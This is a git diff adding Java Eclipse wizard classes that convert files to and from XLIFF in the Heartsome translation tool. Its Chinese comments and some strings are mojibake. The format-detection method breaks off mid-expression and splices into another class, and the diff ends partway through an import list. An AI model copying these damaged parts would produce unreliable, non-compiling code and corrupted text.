//$NON-NLS-1$ + "Java Properties", //$NON-NLS-1$ + "MIF (Maker Interchange Format)", //$NON-NLS-1$ + "Microsoft Office 2007 Document", //$NON-NLS-1$ + "OpenOffice Document", //$NON-NLS-1$ + "Plain Text", //$NON-NLS-1$ + "PO (Portable Objects)", //$NON-NLS-1$ + "RC (Windows C/C++ Resources)", //$NON-NLS-1$ + "ResX (Windows .NET Resources)", //$NON-NLS-1$ + "RTF (Rich Text Format)", //$NON-NLS-1$ + "Tagged RTF", //$NON-NLS-1$ + "TTX Document", //$NON-NLS-1$ + "XML Document", //$NON-NLS-1$ + "XML (Generic)" //$NON-NLS-1$ + }; + + public final static String INX = formats[0]; + public final static String HTML = formats[1]; + public final static String JS = formats[2]; + public final static String JAVA = formats[3]; + public final static String MIF = formats[4]; + public final static String OFF = formats[5]; + public final static String OO = formats[6]; + public final static String TEXT = formats[7]; + public final static String PO = formats[8]; + public final static String RC = formats[9]; + public final static String RESX = formats[10]; + public final static String RTF = formats[11]; + public final static String TRTF = formats[12]; + public final static String TTX = formats[13]; + public final static String XML = formats[14]; + public final static String XMLG = formats[15]; + + public static String detectFormat(String fileName) { + + File file = new File(fileName); + if (!file.exists()) { + return null; + } + try { + FileInputStream input = new FileInputStream(file); + byte[] array = new byte[40960]; + input.read(array); + input.close(); + String string = ""; //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + // there may be a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + string = new String(array, "UTF-16BE"); //$NON-NLS-1$ + } else if (array[0] == feff[0] && array[1] == feff[1]) { + string = new String(array, "UTF-16LE"); //$NON-NLS-1$ + } else { + string = new String(array); + } + if (string.startsWith(" converterViewModels; + + private ArrayList conversionConfigBeans; + + /** + * æ­£å‘转æ¢å‘导构造函数 + * @param model + */ + public ConversionWizard(List models, IProject project) { + this.converterViewModels = models; + + String projCfgFile = project.getLocation().append(".project").toOSString(); + ProjectConfiger configer = new ProjectConfiger(projCfgFile); + Language sourceLanguage = configer.getCurrentProjectConfig().getSourceLang(); + List targetlanguage = configer.getCurrentProjectConfig().getTargetLang(); + Collections.sort(targetlanguage, new Comparator() { + public int compare(Language l1, Language l2) { + return l1.toString().compareTo(l2.toString()); + } + }); + + conversionConfigBeans = new ArrayList(); + for (ConverterViewModel converterViewModel : converterViewModels) { + IConversionItem conversionItem = converterViewModel.getConversionItem(); + String source = ResourceUtils.toWorkspacePath(conversionItem.getLocation()); + + ConversionConfigBean bean = converterViewModel.getConfigBean(); + bean.setSource(source); // åˆå§‹åŒ–æºæ–‡ä»¶è·¯å¾„ + bean.setSrcLang(sourceLanguage.getCode()); // åˆå§‹åŒ–æºè¯­è¨€ + bean.setTgtLangList(targetlanguage); + conversionConfigBeans.add(bean); + } + + setWindowTitle(Messages.getString("ConversionWizard.0")); //$NON-NLS-1$ + } + + @Override + public void addPages() { + String title = Messages.getString("ConversionWizard.1"); //$NON-NLS-1$ + + ConversionWizardPage page = new ConversionWizardPage(title, converterViewModels, conversionConfigBeans); + addPage(page); + + // TODO 添加预翻译选项设置 + // addPage(new TranslationWizardPage(Messages.getString("ConversionWizard.2"))); //$NON-NLS-1$ + } + + @Override + public boolean performFinish() { + return true; + } + + /** + * 返回此å‘导对应的 view model + * @return ; + */ + public List getConverterViewModels() { + return converterViewModels; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java new file mode 100644 index 0000000..fcd478e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java @@ -0,0 +1,31 @@ +package net.heartsome.cat.convert.ui.wizard; + +import net.heartsome.cat.convert.ui.Activator; + +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.jface.wizard.WizardDialog; +import org.eclipse.swt.widgets.Shell; + +/** + * 继承 WizardDialog,并覆盖 getDialogBoundsSettings 方法,以记ä½æ­¤å‘导对è¯æ¡†ä¸Šä¸€æ¬¡æ‰“å¼€æ—¶çš„å¤§å° + * @author cheney + * @since JDK1.6 + */ +public class ConversionWizardDialog extends WizardDialog { + + /** + * æ­£å‘转æ¢å‘导对è¯æ¡†æž„造函数 + * @param parentShell + * @param newWizard + */ + public ConversionWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected IDialogSettings getDialogBoundsSettings() { + return Activator.getDefault().getDialogSettings(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java new file mode 100644 index 0000000..e31f33a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java @@ -0,0 +1,672 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade; +import net.heartsome.cat.convert.ui.dialog.IConversionItemDialog; +import net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterContext; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.convert.ui.utils.EncodingResolver; +import net.heartsome.cat.convert.ui.utils.FileFormatUtils; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterBean; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.property.value.IValueProperty; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.databinding.swt.SWTObservables; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目正å‘转æ¢é€‰é¡¹é…置页 + * @author weachy + * @since JDK1.5 + */ +public class ConversionWizardPage extends WizardPage { + + /** 支æŒçš„类型 */ + private final List supportTypes = FileFormatUtils.getSupportTypes(); + + private List converterViewModels; + + /** 支æŒçš„æ ¼å¼åˆ—表 */ + private Combo formatCombo; + + /** æºæ–‡ä»¶ç¼–ç åˆ—表 */ + private Combo srcEncCombo; + + /** 目标语言列表 */ + private TableComboViewer tgtLangComboViewer; + + /** 文件列表 */ + private Table filesTable; + + private TableColumn sourceColumn; + private TableColumn formatColumn; + private TableColumn srcEncColumn; + private TableColumn xliffColumn; + + /** 分段选项 */ + private Text srxFile; + + private ArrayList conversionConfigBeans; + + private TableViewer tableViewer; + + /** + * æ­£å‘项目转æ¢é…置信æ¯é¡µçš„构造函数 + * @param pageName + */ + protected ConversionWizardPage(String pageName, List converterViewModels, + ArrayList conversionConfigBeans) { + super(pageName); + this.converterViewModels = converterViewModels; + this.conversionConfigBeans = conversionConfigBeans; + setTitle(Messages.getString("ConversionWizardPage.0")); //$NON-NLS-1$ + setDescription(Messages.getString("ConversionWizardPage.1")); //$NON-NLS-1$ + } + + public void createControl(Composite parent) { + Composite contents = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + createFilesGroup(contents); // 文件列表区域 + createPropertiesGroup(contents);// æºæ–‡ä»¶å±žæ€§åŒºåŸŸç»„ + createConversionOptionsGroup(contents); // 转æ¢é€‰é¡¹ç»„ + createSegmentationGroup(contents); // 分段规则选择区域组 + + bindValue(); // æ•°æ®ç»‘定 + + loadFiles(); // 加载文件列表 + + filesTable.select(0); // é»˜è®¤é€‰ä¸­ç¬¬ä¸€è¡Œæ•°æ® + filesTable.notifyListeners(SWT.Selection, null); + + Dialog.applyDialogFont(parent); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(1).margins(defaultMargins.x, defaultMargins.y) + .generateLayout(contents); + + setControl(contents); + + srxFile.setText(ConverterContext.defaultSrx); + + validate(); + } + + private void createPropertiesGroup(Composite contents) { + Group langComposite = new Group(contents, SWT.NONE); + langComposite.setText(Messages.getString("ConversionWizardPage.2")); //$NON-NLS-1$ + langComposite.setLayout(new GridLayout(2, false)); + langComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label formatLabel = new Label(langComposite, SWT.NONE); + formatLabel.setText(Messages.getString("ConversionWizardPage.3")); //$NON-NLS-1$ + + formatCombo = new Combo(langComposite, SWT.READ_ONLY | SWT.DROP_DOWN); + formatCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + formatCombo.addSelectionListener(new SelectionAdapter() { + + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setFileType(formatCombo.getText()); + } + + String format = getSelectedFormat(formatCombo.getText()); // 得到选中的文件类型 + int[] indices = filesTable.getSelectionIndices(); + for (int index : indices) { + converterViewModels.get(index).setSelectedType(format); + + String sourcePath = converterViewModels.get(index).getConversionItem().getLocation() + .toOSString(); + String sourceLocalPath = ConverterUtil.toLocalPath(sourcePath); + String srcEncValue = EncodingResolver.getEncoding(sourceLocalPath, formatCombo.getText()); + if (srcEncValue != null) { + conversionConfigBeans.get(index).setSrcEncoding(srcEncValue); + } + } + + validate(); + } + } + }); + + Label srcEncLabel = new Label(langComposite, SWT.NONE); + srcEncLabel.setText(Messages.getString("ConversionWizardPage.4")); //$NON-NLS-1$ + srcEncCombo = new Combo(langComposite, SWT.DROP_DOWN | SWT.READ_ONLY); + srcEncCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + srcEncCombo.addSelectionListener(new SelectionAdapter() { + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setSrcEncoding(srcEncCombo.getText()); + } + + validate(); + } + } + }); + + // 目标语言框ä¸éœ€è¦çº³å…¥éªŒè¯ï¼Œå¯ä»¥ä¸é€‰æ‹© + Label tgtLangLabel = new Label(langComposite, SWT.NONE); + tgtLangLabel.setText("目标语言"); //$NON-NLS-1$ + tgtLangComboViewer = new TableComboViewer(langComposite, SWT.READ_ONLY|SWT.BORDER); + TableCombo tableCombo = tgtLangComboViewer.getTableCombo(); + // set options. + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + tableCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + tgtLangComboViewer.setLabelProvider(new LanguageLabelProvider(getShell())); + tgtLangComboViewer.setContentProvider(new ArrayContentProvider()); + tgtLangComboViewer.setInput(conversionConfigBeans.get(0).getTgtLangList()); + tgtLangComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + String langStr = tgtLangComboViewer.getTableCombo().getText(); + if (langStr != null) { + for (Language lang : bean.getTgtLangList()) { + if (lang.toString().equals(langStr)) { + bean.setTgtLang(lang.getCode()); + break; + } + } + } + } + } + } + }); + } + + /** + * 转æ¢é€‰é¡¹ç»„ + * @param contents + * ; + */ + private void createConversionOptionsGroup(Composite contents) { + Group options = new Group(contents, SWT.NONE); + options.setText(Messages.getString("ConversionWizardPage.5")); //$NON-NLS-1$ + options.setLayout(new GridLayout(2, false)); + options.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + /* ------- 转æ¢é€‰é¡¹ ------- */ + /* 是å¦æŒ‰æ®µè½åˆ†æ®µ */ + final Button segType = new Button(options, SWT.CHECK); + segType.setText(Messages.getString("ConversionWizardPage.6")); //$NON-NLS-1$ + segType.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + segType.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setSegByElement(segType.getSelection()); + } + + validate(); + } + }); + + /** 按 CR/LF 分段 */ + final Button useCRLF = new Button(options, SWT.CHECK); + useCRLF.setText(Messages.getString("ConversionWizardPage.7")); //$NON-NLS-1$ + useCRLF.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + useCRLF.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setBreakOnCRLF(useCRLF.getSelection()); + } + + validate(); + } + }); + + /* 是å¦å°†éª¨æž¶åµŒå…¥ xliff 文件 */ + final Button embedSkl = new Button(options, SWT.CHECK); + embedSkl.setText(Messages.getString("ConversionWizardPage.8")); //$NON-NLS-1$ + embedSkl.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + embedSkl.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setEmbedSkl(embedSkl.getSelection()); + } + + validate(); + } + }); + + /* 如果已ç»å­˜åœ¨ï¼Œæ˜¯å¦è¦æ›¿æ¢ */ + final Button btnReplaceTarget = new Button(options, SWT.CHECK); + btnReplaceTarget.setText(Messages.getString("ConversionWizardPage.9")); //$NON-NLS-1$ + btnReplaceTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnReplaceTarget.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setReplaceTarget(btnReplaceTarget.getSelection()); + } + + validate(); + } + }); + } + + /** + * 创建分段规则选择组 + * @param contents + * ; + */ + private void createSegmentationGroup(Composite contents) { + Group segmentation = new Group(contents, SWT.NONE); + segmentation.setText(Messages.getString("ConversionWizardPage.10")); //$NON-NLS-1$ + segmentation.setLayout(new GridLayout(3, false)); + GridData data = new GridData(GridData.FILL_HORIZONTAL); + data.widthHint = 500; + segmentation.setLayoutData(data); + + Label segLabel = new Label(segmentation, SWT.NONE); + segLabel.setText(Messages.getString("ConversionWizardPage.11")); //$NON-NLS-1$ + + srxFile = new Text(segmentation, SWT.BORDER | SWT.READ_ONLY); + srxFile.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + srxFile.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setInitSegmenter(srxFile.getText()); + } + + validate(); + } + }); + + final Button segBrowse = new Button(segmentation, SWT.PUSH); + segBrowse.setText(Messages.getString("ConversionWizardPage.12")); //$NON-NLS-1$ + segBrowse.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + IConversionItemDialog conversionItemDialog = FileDialogFactoryFacade.createFileDialog(getShell(), + SWT.NONE); + int result = conversionItemDialog.open(); + if (result == IDialogConstants.OK_ID) { + IConversionItem conversionItem = conversionItemDialog.getConversionItem(); + srxFile.setText(conversionItem.getLocation().toOSString()); + } + } + }); + } + + /** + * 得到选中的类型 + * @param description + * æè¿°åå­— + * @return 类型åå­—; + */ + private String getSelectedFormat(String description) { + for (ConverterBean converterBean : supportTypes) { + if (description.equals(converterBean.getDescription())) { + return converterBean.getName(); + } + } + return ""; //$NON-NLS-1$ + } + + private void validate() { + IStatus result = Status.OK_STATUS; + int line = 1; + for (ConverterViewModel converterViewModel : converterViewModels) { + result = converterViewModel.validate(); + if (!result.isOK()) { + break; + } + line++; + } + if (!result.isOK()) { + setPageComplete(false); + setErrorMessage(MessageFormat.format(Messages.getString("ConversionWizardPage.13"), line) + + result.getMessage()); + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + + /** + * 创建文件列表区域 + * @param contents + * ; + */ + private Composite createFilesGroup(Composite contents) { + Composite filesComposite = new Composite(contents, SWT.NONE); + filesComposite.setLayout(new GridLayout(1, false)); + filesComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + filesTable = new Table(filesComposite, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 100; + filesTable.setLayoutData(tableData); + filesTable.setLinesVisible(true); + filesTable.setHeaderVisible(true); + + filesTable.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + TableItem[] selected = filesTable.getSelection(); + if (selected.length == 0) { + return; + } + + String strSrcFormat = ""; //$NON-NLS-1$ + String strSrcEnc = ""; //$NON-NLS-1$ + for (int i = 0; i < selected.length; i++) { + String curFormat = selected[i].getText(1); + String curSrcEnc = selected[i].getText(2); + + if (i == 0) { + strSrcFormat = curFormat; + strSrcEnc = curSrcEnc; + } else { + if (!strSrcFormat.equals(curFormat)) { + strSrcFormat = ""; //$NON-NLS-1$ + } + + if (!strSrcEnc.equals(curSrcEnc)) { + strSrcEnc = ""; //$NON-NLS-1$ + } + } + } + + if (!"".equals(strSrcFormat)) { //$NON-NLS-1$ + formatCombo.setText(strSrcFormat); + } else { + formatCombo.deselectAll(); + } + + if (!"".equals(strSrcEnc)) { //$NON-NLS-1$ + srcEncCombo.setText(strSrcEnc); + } else { + srcEncCombo.deselectAll(); + } + + // 目标语言下拉框选中判断 + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + int i = 0; + String tgtLang = ""; + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + String currLang = bean.getTgtLang(); + for(Language lang :bean.getTgtLangList()){ + if(lang.getCode().equals(currLang)){ + currLang = lang.toString(); + break; + } + } + if (i == 0) { + tgtLang = currLang; + }else { + if(!tgtLang.equals(currLang)){ + tgtLang = ""; + break; + } + } + i++; + } + if(!"".equals(tgtLang)){ + tgtLangComboViewer.getTableCombo().setText(tgtLang); + }else{ + tgtLangComboViewer.getTableCombo().select(-1); + } + } + } + }); + tableViewer = new TableViewer(filesTable); + + sourceColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + sourceColumn.setText(Messages.getString("ConversionWizardPage.14")); //$NON-NLS-1$ + + formatColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + formatColumn.setText(Messages.getString("ConversionWizardPage.15")); //$NON-NLS-1$ + + srcEncColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + srcEncColumn.setText(Messages.getString("ConversionWizardPage.16")); //$NON-NLS-1$ + + xliffColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + xliffColumn.setText(Messages.getString("ConversionWizardPage.17")); //$NON-NLS-1$ + + IValueProperty[] valueProperties = BeanProperties.values(ConversionConfigBean.class, new String[] { + "source", "fileType", "srcEncoding", "target" }); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + ViewerSupport.bind(tableViewer, new WritableList(conversionConfigBeans, ConversionConfigBean.class), + valueProperties); + + filesComposite.addPaintListener(new PaintListener() { + public void paintControl(PaintEvent arg0) { + int width = filesTable.getClientArea().width; + sourceColumn.setWidth(width * 3 / 10); + formatColumn.setWidth(width * 3 / 10); + srcEncColumn.setWidth(width * 1 / 10); + xliffColumn.setWidth(width * 3 / 10); + } + }); + return filesComposite; + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + WizardPageSupport.create(this, dbc); + ConversionConfigBean configBean = conversionConfigBeans.get(0); + + // bind the format + dbc.bindList(SWTObservables.observeItems(formatCombo), BeansObservables.observeList(configBean, "fileFormats")); //$NON-NLS-1$ + // final IObservableValue format = BeansObservables.observeValue(selectedModel, "selectedType"); + // dbc.bindValue(SWTObservables.observeSelection(formatCombo), format); + + // bind the source encoding + dbc.bindList(SWTObservables.observeItems(srcEncCombo), BeansObservables.observeList(configBean, "pageEncoding")); //$NON-NLS-1$ + + } + + /** + * 加载文件数æ®ã€‚ + */ + private void loadFiles() { + for (int i = 0; i < conversionConfigBeans.size(); i++) { + ConversionConfigBean bean = conversionConfigBeans.get(i); + + String source = bean.getSource(); + String sourceLocalPath = ConverterUtil.toLocalPath(source); + // 自动识别文件类型 + String format = FileFormatUtils.detectFormat(sourceLocalPath); + if (format == null) { + format = ""; //$NON-NLS-1$ + } + // 自动分æžæºæ–‡ä»¶ç¼–ç  + String srcEncValue = EncodingResolver.getEncoding(sourceLocalPath, format); + if (srcEncValue == null) { + srcEncValue = ""; //$NON-NLS-1$ + } + + // XLIFF 文件路径 + String xliff = ""; //$NON-NLS-1$ + // 骨架文件路径 + String skeleton = ""; //$NON-NLS-1$ + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_POSITIVE, sourceLocalPath); + xliff = resource.getXliffPath(); + skeleton = resource.getSkeletonPath(); + } catch (CoreException e) { + e.printStackTrace(); + } + + if (!"".equals(format)) { //$NON-NLS-1$ + String name = getSelectedFormat(format); + if (name != null && !"".equals(name)) { //$NON-NLS-1$ + converterViewModels.get(i).setSelectedType(name); // 添加类型 + } + } + bean.setFileType(format); + bean.setSrcEncoding(srcEncValue); + bean.setTarget(xliff); + bean.setSkeleton(ConverterUtil.toLocalPath(skeleton)); + } + } + + @Override + public void dispose() { + super.dispose(); + if (filesTable != null) { + filesTable.dispose(); + } + if (conversionConfigBeans != null) { + conversionConfigBeans.clear(); + conversionConfigBeans = null; + } + System.gc(); + } + + class LanguageLabelProvider extends LabelProvider { + private Logger logger = LoggerFactory.getLogger(LanguageLabelProvider.class); + private Map imageCache = new HashMap(); + private String bundlePath; + private Shell shell; + public LanguageLabelProvider(Shell shell) { + try { + bundlePath = FileLocator.toFileURL(Platform.getBundle("net.heartsome.cat.ts.ui").getEntry("")).getPath(); + } catch (IOException e) { + logger.error("在转æ¢å™¨ä¸­èŽ·å–æ’件路径出错,æ’件ID:net.heartsome.cat.ts.ui"); + e.printStackTrace(); + } + this.shell = shell; + } + public Image getImage(Object element) { + if (element instanceof Language) { + Language lang = (Language) element; + String code = lang.getCode(); + String imagePath = lang.getImagePath(); + if (imagePath != null && !imagePath.equals("")) { + imagePath = bundlePath + imagePath; + Image image = new Image(shell.getDisplay(), imagePath); + if (image != null) { + ImageData data = image.getImageData().scaledTo(16, 12); + image = new Image(shell.getDisplay(), data); + + // 销æ¯åŽŸæ¥çš„图片 + Image im = imageCache.remove(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + + // 添加新的图片 + imageCache.put(code, image); + return image; + } + } + } + return null; + } + + public void dispose(){ + for (String code : imageCache.keySet()) { + Image im = imageCache.get(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + imageCache.clear(); + super.dispose(); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/Messages.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/Messages.java new file mode 100644 index 0000000..d82c803 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/Messages.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.convert.ui.wizard; + +/* + * Created on Jul 6, 2004 + * + */ + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * @author Rodolfo M. Raya Copyright (c) 2004 Heartsome Holdings Pte Ltd http://www.heartsome.net + */ +public final class Messages { + private static final String BUNDLE_NAME = "net.heartsome.cat.convert.ui.wizard.conversion_new"; //$NON-NLS-1$ + + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * ç§æœ‰æž„造函数 + */ + private Messages() { + // private constructor + } + + /** + * æ ¹æ® key,获得相应的 value 值 + * @param key + * @return ; + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java new file mode 100644 index 0000000..3557857 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java @@ -0,0 +1,62 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.util.List; + +import net.heartsome.cat.convert.ui.model.ConverterViewModel; + +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.wizard.Wizard; + +/** + * 逆å‘转æ¢å‘导 + * @author weachy + * @since JDK1.5 + */ +public class ReverseConversionWizard extends Wizard { + + private List converterViewModels; + + private IProject project; + + /** + * æ­£å‘转æ¢å‘导构造函数 + * @param model + */ + public ReverseConversionWizard(List models, IProject projct) { + this.converterViewModels = models; + this.project = projct; + + setWindowTitle(Messages.getString("ReverseConversionWizard.0")); //$NON-NLS-1$ + + // 需è¦æ˜¾ç¤º progress monitor + setNeedsProgressMonitor(true); + } + + @Override + public void addPages() { + addPage(new ReverseConversionWizardPage(Messages.getString("ReverseConversionWizard.1"))); + // TODO 存储翻译到翻译记译库 + } + + @Override + public boolean performFinish() { + return true; + } + + /** + * 返回此å‘导对应的 view model + * @return ; + */ + public List getConverterViewModels() { + return converterViewModels; + } + + /** + * 返回此å‘导对应的 Project + * @return ; + */ + public IProject getProject() { + return project; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java new file mode 100644 index 0000000..3f76826 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java @@ -0,0 +1,426 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.bean.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import 